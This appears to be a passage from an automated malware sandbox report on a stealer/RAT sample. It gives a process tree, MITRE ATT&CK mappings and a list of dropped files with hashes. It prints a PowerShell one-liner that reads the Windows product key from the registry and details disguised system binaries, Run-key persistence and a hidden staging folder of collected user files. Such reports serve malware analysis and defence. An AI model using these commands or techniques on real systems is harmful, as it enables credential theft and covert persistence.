                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                          4⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2100
                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                            powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                            5⤵
                              PID:3204
                      • C:\Windows\Resources\Themes\icsys.icn.exe
                        C:\Windows\Resources\Themes\icsys.icn.exe
                        2⤵
                        • Executes dropped EXE
                        • Drops file in Windows directory
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:3548
                        • \??\c:\windows\resources\themes\explorer.exe
                          c:\windows\resources\themes\explorer.exe
                          3⤵
                          • Modifies visibility of hidden/system files in Explorer
                          • Executes dropped EXE
                          • Adds Run key to start application
                          • Drops file in System32 directory
                          • Drops file in Windows directory
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: GetForegroundWindowSpam
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:1836
                          • \??\c:\windows\resources\spoolsv.exe
                            c:\windows\resources\spoolsv.exe SE
                            4⤵
                            • Executes dropped EXE
                            • Drops file in Windows directory
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of SetWindowsHookEx
                            • Suspicious use of WriteProcessMemory
                            PID:2724
                            • \??\c:\windows\resources\svchost.exe
                              c:\windows\resources\svchost.exe
                              5⤵
                              • Modifies visibility of hidden/system files in Explorer
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in System32 directory
                              • System Location Discovery: System Language Discovery
                              • Suspicious behavior: GetForegroundWindowSpam
                              • Suspicious use of SetWindowsHookEx
                              • Suspicious use of WriteProcessMemory
                              PID:3260
                              • \??\c:\windows\resources\spoolsv.exe
                                c:\windows\resources\spoolsv.exe PR
                                6⤵
                                • Executes dropped EXE
                                • System Location Discovery: System Language Discovery
                                • Suspicious use of SetWindowsHookEx
                                PID:3148

                    Network

                          MITRE ATT&CK Enterprise v16

                          Reconnaissance

                          Resource Development

                          Initial Access

                          Execution

                          Command and Scripting Interpreter

                          2
                          T1059

                          PowerShell

                          1
                          T1059.001

                          Windows Command Shell

                          1
                          T1059.003

                          Windows Management Instrumentation

                          1
                          T1047

                          Persistence

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Privilege Escalation

                          Boot or Logon Autostart Execution

                          1
                          T1547

                          Registry Run Keys / Startup Folder

                          1
                          T1547.001

                          Event Triggered Execution

                          1
                          T1546

                          Netsh Helper DLL

                          1
                          T1546.007

                          Defense Evasion

                          Hide Artifacts

                          1
                          T1564

                          Hidden Files and Directories

                          1
                          T1564.001

                          Impair Defenses

                          1
                          T1562

                          Disable or Modify Tools

                          1
                          T1562.001

                          Modify Registry

                          2
                          T1112

                          Obfuscated Files or Information

                          1
                          T1027

                          Command Obfuscation

                          1
                          T1027.010

                          Credential Access

                          Credentials from Password Stores

                          1
                          T1555

                          Credentials from Web Browsers

                          1
                          T1555.003

                          Unsecured Credentials

                          3
                          T1552

                          Credentials In Files

                          3
                          T1552.001

                          Discovery

                          Browser Information Discovery

                          1
                          T1217

                          Peripheral Device Discovery

                          1
                          T1120

                          Process Discovery

                          1
                          T1057

                          System Information Discovery

                          3
                          T1082

                          System Location Discovery

                          1
                          T1614

                          System Language Discovery

                          1
                          T1614.001

                          System Network Configuration Discovery

                          3
                          T1016

                          Internet Connection Discovery

                          1
                          T1016.001

                          Wi-Fi Discovery

                          1
                          T1016.002

                          Lateral Movement

                          Collection

                          Clipboard Data

                          1
                          T1115

                          Data from Local System

                          2
                          T1005

                          Video Capture

                          1
                          T1125

                          Command and Control

                          Web Service

                          1
                          T1102

                          Exfiltration

                          Impact

                          Replay Monitor

                          Loading Replay Monitor...

                          Downloads

                          2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
                          • Path C:\Users\Admin\AppData\Local\Temp\2026-11-12_410abc74e7de8faedece86f676459264_cobalt-strike_elex_glassworm_icedid_njrat_swisyn.exe 
                          • Size 13.7MB
                          • SHA256 1771b5e5afb1f444208f56430fec158ce5d9af3103cc22a2e60a7d6e2d68bec8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          DHhVZnjTQN.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\DHhVZnjTQN.tmp
                          • Size 138KB
                          • SHA256 d623e83b8e66f51e2c0a0f53f4d17a9e185e27394236245208d4ff185ea44de3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Eukx1ZzWYA.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\Eukx1ZzWYA.tmp
                          • Size 224KB
                          • SHA256 d781b56555e65272ef4019de8706cba5042fb7afcf0f6e2ca56183ca9567ba8e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          FAtkKIkz97.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\FAtkKIkz97.tmp
                          • Size 20KB
                          • SHA256 1a531cbd262d51e704ac251597f0c0ceb149c571b1683e14257964cddae424f3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          HVWPY.zip
                          • Path C:\Users\Admin\AppData\Local\Temp\HVWPY.zip
                          • Size 8.8MB
                          • SHA256 8a7fee9e6283b465c8cbf445a88babcfdf05b522c251f4ce5b2de1a90957bc6c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MIrFbUA6LH.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\MIrFbUA6LH.tmp
                          • Size 204KB
                          • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          X1dFVTbABg.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\X1dFVTbABg.tmp
                          • Size 56KB
                          • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _raw_aes.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\Crypto\Cipher\_raw_aes.pyd
                          • Size 29KB
                          • SHA256 043e0680a4dc70853f06554b753fbfb1b25c6d8cb13b724a37ef33cdd79e49a9
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _raw_aesni.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\Crypto\Cipher\_raw_aesni.pyd
                          • Size 15KB
                          • SHA256 6ee1d324f3a96401271f2a5aed6799e7e7030a6d1b1aa27d1d9112802a777b44
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _cpuid_c.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\Crypto\Util\_cpuid_c.pyd
                          • Size 10KB
                          • SHA256 3a864813d3b06365efd9ac52951cb6ce64b588eed77c227c0df4a193078e3d09
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          VCRUNTIME140.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\VCRUNTIME140.dll
                          • Size 174KB
                          • SHA256 d1f4225df2cd877dbf130d5668a021dce3f94118455ff5ec952061c30afc9ce7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          VCRUNTIME140_1.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\VCRUNTIME140_1.dll
                          • Size 48KB
                          • SHA256 a7146c08f89fe5b04541ab507cdb59ff7b44534d4ba3c668a426c6450a03434e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _bz2.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_bz2.pyd
                          • Size 84KB
                          • SHA256 2ae45b2ff932dc8a864c862d8150eb3f5b55e60e3e74ec554c4f52c4f1ad81e0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _ctypes.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_ctypes.pyd
                          • Size 140KB
                          • SHA256 8bb22628ae859877b1cf55381c1a8cf54bb0aa70c56295053bc3303262e21c87
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _decimal.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_decimal.pyd
                          • Size 318KB
                          • SHA256 93360ba1650bf5f1a673aac22d444ad2d33a039550926f325ad19dafd950e04c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _hashlib.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_hashlib.pyd
                          • Size 71KB
                          • SHA256 3cfb95355576805d6362b878d2207e254125887fce12ff8199becab34beb0694
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _lzma.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_lzma.pyd
                          • Size 167KB
                          • SHA256 d9033e94387aa70777d23514263d342486899256ffc14478be6bb1e6a0b05683
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _multiprocessing.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_multiprocessing.pyd
                          • Size 37KB
                          • SHA256 df1c1a1226a481db6536b6ed697150bc6a34052e4c2cc2ddde59ebda84a68fd6
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _queue.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_queue.pyd
                          • Size 35KB
                          • SHA256 00206e5ea1be8b648ca07d1e68ee244a8d0ee1f4126661187dbe3551c68f6e3b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _socket.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_socket.pyd
                          • Size 86KB
                          • SHA256 ba52c110c0cbc429add306acccf86dd2f77c777a9db68df7cddfc4489e91bce7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _sqlite3.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_sqlite3.pyd
                          • Size 129KB
                          • SHA256 851e8bfa65328162ddad2dff9f7c213f8eceb2d90baf179aa472704ec3ca6295
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _ssl.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_ssl.pyd
                          • Size 195KB
                          • SHA256 a9c54ec4d115597880e0e44ff26b740328d0388a777dfb613d3aa2eb66b31e49
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _wmi.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_wmi.pyd
                          • Size 38KB
                          • SHA256 0650bf237b3f556ba844ba372fef6de1b65d618a608014405360aef83f8a4e34
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          _zstd.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\_zstd.pyd
                          • Size 494KB
                          • SHA256 a977471edf7b6712a9e89ada98b79b1973c79740632f820b67365f242b5e05cc
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          base_library.zip
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\base_library.zip
                          • Size 1.4MB
                          • SHA256 a80727fee3460f932a8b5608eda05964c185c46f66a42060b3979d765dda9a49
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libcrypto-3.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\libcrypto-3.dll
                          • Size 5.7MB
                          • SHA256 75495fe0e079ab00d49be740d3c710a0b94e3f74f9648cb7cc9f768fc7f52319
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libffi-8.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\libffi-8.dll
                          • Size 38KB
                          • SHA256 eff52743773eb550fcc6ce3efc37c85724502233b6b002a35496d828bd7b280a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          libssl-3.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\libssl-3.dll
                          • Size 1.2MB
                          • SHA256 8957182a9c385bfd9f3f790921de2ddc614cf91f99edbed4e9e5446a46504e32
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          pyexpat.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\pyexpat.pyd
                          • Size 210KB
                          • SHA256 2970cef7642e14721b4791bf40720d25f5c9fb8df4d78c725bd859391d6dec51
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          python315.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\python315.dll
                          • Size 7.5MB
                          • SHA256 9862572fd449f32a62c1eaec2c6750a9c9fa512f4c9c2ea0e66776cf9212b7c2
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          select.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\select.pyd
                          • Size 32KB
                          • SHA256 d39e00967809d2d2cf8aea78f6fd39923cfb4ad426ccd19bbfe7163020dafffe
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Lorem ipsum.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\setuptools\_vendor\jaraco\text\Lorem ipsum.txt
                          • Size 1KB
                          • SHA256 37fedcffbf73c4eb9f058f47677cb33203a436ff9390e4d38a8e01c9dad28e0b
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          sqlite3.dll
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\sqlite3.dll
                          • Size 1.6MB
                          • SHA256 73530e8f4555605d716352ee98fe0ce205a09e5eec57e7e6360d4c915efcacd8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          unicodedata.pyd
                          • Path C:\Users\Admin\AppData\Local\Temp\_MEI000011642\unicodedata.pyd
                          • Size 735KB
                          • SHA256 ba69f643918cc520331c6a13d489d642131be23dd649d05e0cd1068fae92e76d
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          __PSScriptPolicyTest_znicukjn.yuf.ps1
                          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_znicukjn.yuf.ps1
                          • Size 60B
                          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          mlTHEQ6jsQ.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\mlTHEQ6jsQ.tmp
                          • Size 40KB
                          • SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          yR2TVqJ9fr.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\yR2TVqJ9fr.tmp
                          • Size 160KB
                          • SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          yduyJqsjTt.tmp
                          • Path C:\Users\Admin\AppData\Local\Temp\yduyJqsjTt.tmp
                          • Size 20KB
                          • SHA256 de48f5c4308a2477450952a8fd6462c411cc966f9e0fb0065a252b3be831a482
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          CloseInstall.docx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Desktop\CloseInstall.docx
                          • Size 15KB
                          • SHA256 05df48f09031de21c0e2019b5fdfad047577beef9eda75d40e5aa7cb8700f511
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OpenMerge.mp4
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Desktop\OpenMerge.mp4
                          • Size 298KB
                          • SHA256 31fa27a0b461fe3c808743f76458eddccf12e183a0e3817124fd2d066e2e8be3
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ReceiveSwitch.xlsx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Desktop\ReceiveSwitch.xlsx
                          • Size 12KB
                          • SHA256 c6a8cd30d72c153ce02434949e50ec441bd2dc104e967c4c1c708530bea8b27f
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          StopApprove.docx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Desktop\StopApprove.docx
                          • Size 690KB
                          • SHA256 e9eacab615c58973b8a7037e874bfa612b4d9a7672a1096b96911463040d1fd8
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          LockResume.xlsx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\LockResume.xlsx
                          • Size 11KB
                          • SHA256 9a24e3c24da78aebd23b8307e73f03da5a4d0f1ba6d78f7b352c49f063a28907
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          MoveOut.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\MoveOut.txt
                          • Size 1.4MB
                          • SHA256 9a9ff23ab8b6e4d6d519640a116e26660a289c09b97548ce7fd64e08785fd74f
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OptimizeSearch.xlsx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\OptimizeSearch.xlsx
                          • Size 11KB
                          • SHA256 6172238000cec96b411ef828487a808866d495229d0f62200d4cc8d2a0ab8834
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          RestartImport.docx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\RestartImport.docx
                          • Size 17KB
                          • SHA256 dc387e9b586f047846b6c2c6dc85d35d0a3a350869ee9d3ec80db5e28443897e
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          StartFormat.docx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\StartFormat.docx
                          • Size 1.5MB
                          • SHA256 4d901aa725fbe6f1531f1c6bedd2b82c25bfc45d06d5500aae0b833f58d147f0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          WaitPush.docx
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Documents\WaitPush.docx
                          • Size 20KB
                          • SHA256 5cda861eb2c2a8fcb3f98c8cc2a7e4f238174d1179d679ebc1a44ed926e5e399
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          InvokeFind.png
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Downloads\InvokeFind.png
                          • Size 554KB
                          • SHA256 dd9a1e2b57c0a0f972c6ae545fe005716452f68b9254c1683001a4256e5f57f0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          SaveLimit.mp4
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Downloads\SaveLimit.mp4
                          • Size 1.0MB
                          • SHA256 573a65b8ae0bf669ac01c8a9abca7ac9aeef2cf2c43d73bf74da74883896b10b
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          DisconnectHide.png
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Music\DisconnectHide.png
                          • Size 589KB
                          • SHA256 95d685c7a90a8344433dd7631d75ca2db0cd9560afe0c2c524b71dbf8665b8a0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          ExpandBlock.jpg
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Music\ExpandBlock.jpg
                          • Size 366KB
                          • SHA256 d274028a2516c72e3991db3322d1692676f4e483bbecdbf3b08d0dc2f027c623
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          EnableDeny.png
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Pictures\EnableDeny.png
                          • Size 975KB
                          • SHA256 4053bb5d83179dec787fba3e8de50e44d114f78ae0cf8aa50abe761c86331be0
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          OpenJoin.png
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Pictures\OpenJoin.png
                          • Size 820KB
                          • SHA256 e498d6146ad244598b00babb3e607881ea9a8367c60540ce5556b545b51aa993
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          kBNPKDw.jpg
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Common Files\Pictures\kBNPKDw.jpg
                          • Size 24KB
                          • SHA256 8221fad3a8a7efccd294851526e0b24b57d72e452125c8a34d08aeed1d055e1a
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          Desktop.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Desktop.txt
                          • Size 757B
                          • SHA256 c4ea59fc3b3ce6e087c706c5b7a5c3971509e5b9bc5fa0111da20d5bff78d6b1
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Documents.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Documents.txt
                          • Size 709B
                          • SHA256 bad3f16cec104942a4ba7f1f871b3e94fff98de4662feaa6801216eade4f0d72
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Downloads.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Downloads.txt
                          • Size 883B
                          • SHA256 187249101c2459ce9c8a46dba9c0006349d1134b0998082f076f37b75d0e8f2d
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Music.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Music.txt
                          • Size 406B
                          • SHA256 87db250940215a05b5f5b4761b646362fc270da8c0fa513f0bc48a5329471399
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Pictures.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Pictures.txt
                          • Size 615B
                          • SHA256 2ade4fa56de91ae8268171e861177f5fa8b949e2589e6d5bb6546b29fedbc6ac
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Videos.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\Directories\Videos.txt
                          • Size 30B
                          • SHA256 c3a706e5567ca4eb3e18543296fa17e511c7bb6bef51e63bf9344a59bf67e618
                          • MD5 SHA1 SHA512
                          Submit Download

                          MAC Addresses.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\System\MAC Addresses.txt
                          • Size 232B
                          • SHA256 47a673caca7053eb2fcb3a3f6e36feacce2d414e8a0096e63991cc0248bd78a4
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          System Info.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\System\System Info.txt
                          • Size 2KB
                          • SHA256 4cb4cac208059466b94b169d3e4514c8ca3a17f50a6604b30611519061d4c62d
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          Task List.txt
                          • Path C:\Users\Admin\AppData\Local\Temp\   ‎‌    ​\System\Task List.txt
                          • Size 13KB
                          • SHA256 5232e904e7f826b4928230fcc468779c43d53147cb1ecffce46808f1906b4c9c
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          explorer.exe
                          • Path C:\Windows\Resources\Themes\explorer.exe
                          • Size 135KB
                          • SHA256 8b061266967f3d4f0c51b2a7e84c37de43a8767cab683d61d7c3dcf18a3be4e7
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          icsys.icn.exe
                          • Path C:\Windows\Resources\Themes\icsys.icn.exe
                          • Size 135KB
                          • SHA256 bbeaf1abd33aa7e7c1708099e601e24c3570c629d17c89c8c7edddb4af47ac72
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          CSC7239187585CC4B559325E6E849D0C569.TMP
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\wvlurgxw\CSC7239187585CC4B559325E6E849D0C569.TMP
                          • Size 652B
                          • SHA256 5c8497c5cd77da4b36743222a0cd7a8c3c578880fd459fcad7462d649c70a86e
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          wvlurgxw.0.cs
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\wvlurgxw\wvlurgxw.0.cs
                          • Size 1004B
                          • SHA256 8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          wvlurgxw.cmdline
                          • Path \??\c:\Users\Admin\AppData\Local\Temp\wvlurgxw\wvlurgxw.cmdline
                          • Size 607B
                          • SHA256 9f9e804c24167df111256da38735abb327b1df5eeb6efb443d37f0d59904fe01
                          • MD5 SHA1 SHA512 TLSH
                          Submit Download

                          spoolsv.exe
                          • Path \??\c:\windows\resources\spoolsv.exe
                          • Size 135KB
                          • SHA256 4f8603cf1e7f0e15db6840cecc60d55fac6ba32c7a2048baa61573d07a93fe64
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          svchost.exe
                          • Path \??\c:\windows\resources\svchost.exe
                          • Size 135KB
                          • SHA256 aed7311eafd9d8e6428f6798e9514b8e9b4707b3e62eba1c21eca88a927ce984
                          • MD5 SHA1 SHA512 SSDEEP TLSH
                          Submit Download

                          memory/1836-428-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/2724-150-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/2724-173-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/3148-172-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/3260-429-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/3548-174-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/3548-123-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/3660-232-0x000002B11D040000-0x000002B11D062000-memory.dmp
                          Download

                          memory/4832-274-0x00000210C8F60000-0x00000210C8F68000-memory.dmp
                          Download

                          memory/4976-175-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download

                          memory/4976-0-0x0000000000400000-0x000000000041F000-memory.dmp
                          Download